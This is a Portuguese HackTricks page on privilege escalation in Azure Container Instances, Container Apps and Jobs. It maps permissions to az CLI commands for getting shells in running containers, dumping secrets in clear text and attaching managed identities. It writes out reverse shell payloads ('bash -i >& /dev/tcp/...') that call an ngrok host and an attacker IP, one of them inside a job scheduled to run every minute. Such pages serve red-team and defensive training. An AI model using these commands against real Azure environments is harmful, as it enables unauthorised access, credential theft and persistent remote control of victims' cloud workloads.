Az - Azure Container Instances, Apps & Jobs Privesc

Reading time: 8 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Azure Container Instances, Apps & Jobs

Para mais informaçÔes, consulte:

Az - Container Instances, Apps & Jobs

ACI

Microsoft.ContainerInstance/containerGroups/read, Microsoft.ContainerInstance/containerGroups/containers/exec/action

Essas permissĂ”es permitem que o usuĂĄrio execute um comando em um contĂȘiner em execução. Isso pode ser usado para escalar privilĂ©gios no contĂȘiner se ele tiver alguma identidade gerenciada anexada. Claro, tambĂ©m Ă© possĂ­vel acessar o cĂłdigo-fonte e qualquer outra informação sensĂ­vel armazenada dentro do contĂȘiner.

Para obter um shell, Ă© tĂŁo simples quanto:

bash
az container exec --name <container-name> --resource-group <res-group>  --exec-command '/bin/sh'

TambĂ©m Ă© possĂ­vel ler a saĂ­da do contĂȘiner com:

bash
az container attach --name <container-name> --resource-group <res-group>

Ou obtenha os logs com:

bash
az container logs --name <container-name> --resource-group <res-group>

Microsoft.ContainerInstance/containerGroups/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Essas permissĂ”es permitem anexar uma identidade gerenciada pelo usuĂĄrio a um grupo de contĂȘineres. Isso Ă© muito Ăștil para escalar privilĂ©gios no contĂȘiner.

Para anexar uma identidade gerenciada pelo usuĂĄrio a um grupo de contĂȘineres:

bash
az rest \
--method PATCH \
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
}
}
}' \
--headers "Content-Type=application/json"

Microsoft.Resources/subscriptions/resourcegroups/read, Microsoft.ContainerInstance/containerGroups/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Essas permissĂ”es permitem criar ou atualizar um grupo de contĂȘiner com uma identidade gerenciada pelo usuĂĄrio anexada a ele. Isso Ă© muito Ăștil para escalar privilĂ©gios no contĂȘiner.

bash
az container create \
--resource-group <res-group> \
--name nginx2 \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
--restart-policy OnFailure \
--os-type Linux \
--cpu 1 \
--memory 1.0

AlĂ©m disso, tambĂ©m Ă© possĂ­vel atualizar um grupo de contĂȘiner existente adicionando, por exemplo, o argumento --command-line com um shell reverso.

ACA

Microsoft.App/containerApps/read, Microsoft.App/managedEnvironments/read, microsoft.app/containerapps/revisions/replicas, Microsoft.App/containerApps/revisions/read, Microsoft.App/containerApps/getAuthToken/action

Essas permissĂ”es permitem que o usuĂĄrio obtenha um shell em um contĂȘiner de aplicativo em execução. Isso pode ser usado para escalar privilĂ©gios no contĂȘiner se ele tiver alguma identidade gerenciada anexada. Claro, tambĂ©m Ă© possĂ­vel acessar o cĂłdigo-fonte e qualquer outra informação sensĂ­vel armazenada dentro do contĂȘiner.

bash
az containerapp exec --name <app-name> --resource-group <res-group> --command "sh"
az containerapp debug --name <app-name> --resource-group <res-group>

Microsoft.App/containerApps/listSecrets/action

Esta permissĂŁo permite obter o texto claro dos segredos configurados dentro de um aplicativo de contĂȘiner. Observe que os segredos podem ser configurados com o texto claro ou com um link para um cofre de chaves (nesse caso, o aplicativo terĂĄ uma identidade gerenciada atribuĂ­da com acesso aos segredos).

bash
az containerapp secret list --name <app-name> --resource-group <res-group>
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>

Microsoft.App/containerApps/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Essas permissĂ”es permitem anexar uma identidade gerenciada pelo usuĂĄrio a um aplicativo de contĂȘiner. Isso Ă© muito Ăștil para escalar privilĂ©gios no contĂȘiner. Executar essa ação a partir do az cli tambĂ©m requer a permissĂŁo Microsoft.App/containerApps/listSecrets/action.

Para anexar uma identidade gerenciada pelo usuĂĄrio a um grupo de contĂȘiner:

bash
az containerapp identity assign -n <app-name> -g <res-group> --user-assigned myUserIdentityName

Microsoft.App/containerApps/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action

Essas permissĂ”es permitem criar ou atualizar um contĂȘiner de aplicativo com uma identidade gerenciada pelo usuĂĄrio anexada a ele. Isso Ă© muito Ăștil para escalar privilĂ©gios no contĂȘiner.

bash
# Get environments
az containerapp env list --resource-group Resource_Group_1

# Create app in a an environment
az containerapp create \
--name <app-name> \
--resource-group <res-group> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--cpu 1 --memory 1.0 \
--user-assigned <user-asigned-identity-name> \
--min-replicas 1 \
--command "<reserse shell>"

tip

Note que com essas permissÔes outras configuraçÔes do aplicativo podem ser modificadas, o que pode permitir a realização de outros ataques de privesc e pós-exploração, dependendo da configuração dos aplicativos existentes.

Jobs

Microsoft.App/jobs/read, Microsoft.App/jobs/write

Embora os jobs nĂŁo sejam de longa duração como os aplicativos de contĂȘiner, vocĂȘ pode explorar a capacidade de substituir a configuração do comando do job ao iniciar uma execução. Ao criar um modelo de job personalizado (por exemplo, substituindo o comando padrĂŁo por um shell reverso), vocĂȘ pode obter acesso ao shell dentro do contĂȘiner que executa o job.

bash
# Retrieve the current job configuration and save its template:
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml

# Edit job-template.yaml to override the command with a reverse shell (or similar payload):
# For example, change the container’s command to:
#  - args:
#      - -c
#      - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1
#      command:
#      - /bin/bash
#      image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest

# Update and wait until the job is triggered (or change ths type to scheduled)
az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml

# Start a new job execution with the modified template:
az containerapp job start --name <job-name> --resource-group <res-group> --yaml job-template.yaml

Microsoft.App/jobs/read, Microsoft.App/jobs/listSecrets/action

Se vocĂȘ tiver essas permissĂ”es, pode listar todos os segredos (primeira permissĂŁo) dentro de um contĂȘiner de Job e, em seguida, ler os valores dos segredos configurados.

bash
az containerapp job secret list --name <job-name> --resource-group <res-group>
az containerapp job secret show --name <job-name> --resource-group <res-group> --secret-name <secret-name>

Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/jobs/write

Se vocĂȘ tiver permissĂŁo para modificar a configuração de um trabalho, pode anexar uma identidade gerenciada atribuĂ­da a um usuĂĄrio. Essa identidade pode ter privilĂ©gios adicionais (por exemplo, acesso a outros recursos ou segredos) que podem ser explorados para escalar privilĂ©gios dentro do contĂȘiner.

bash
az containerapp job update \
--name <job-name> \
--resource-group <res-group> \
--assign-identity <user-assigned-identity-id>

Microsoft.App/managedEnvironments/read, Microsoft.App/jobs/write, Microsoft.App/managedEnvironments/join/action, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Se vocĂȘ puder criar um novo Job de Container Apps (ou atualizar um existente) e anexar uma identidade gerenciada, pode projetar o job para executar um payload que eleva privilĂ©gios. Por exemplo, vocĂȘ poderia criar um novo job que nĂŁo apenas executa um shell reverso, mas tambĂ©m usa as credenciais da identidade gerenciada para solicitar tokens ou acessar outros recursos.

bash
az containerapp job create \
--name <new-job-name> \
--resource-group <res-group> \
--environment <environment-name> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--user-assigned <user-assigned-identity-id> \
--trigger-type Schedule \
--cron-expression "*/1 * * * *" \
--replica-timeout 1800 \
--replica-retry-limit 0 \
--command "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'"

tip

Este comando gerarĂĄ um erro se vocĂȘ nĂŁo tiver a permissĂŁo Microsoft.App/jobs/read, embora o Job seja criado.

microsoft.app/jobs/start/action, microsoft.app/jobs/read

Parece que com essas permissÔes deveria ser possível iniciar um job. Isso poderia ser usado para iniciar um job com um shell reverso ou qualquer outro comando malicioso sem precisar modificar a configuração do job.

NĂŁo consegui fazĂȘ-lo funcionar, mas de acordo com os parĂąmetros permitidos, deveria ser possĂ­vel.

Microsoft.ContainerInstance/containerGroups/restart/action

Permite reiniciar um grupo de contĂȘiner especĂ­fico dentro do Azure Container Instances.

bash
az container restart --resource-group <resource-group> --name <container-instances>

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks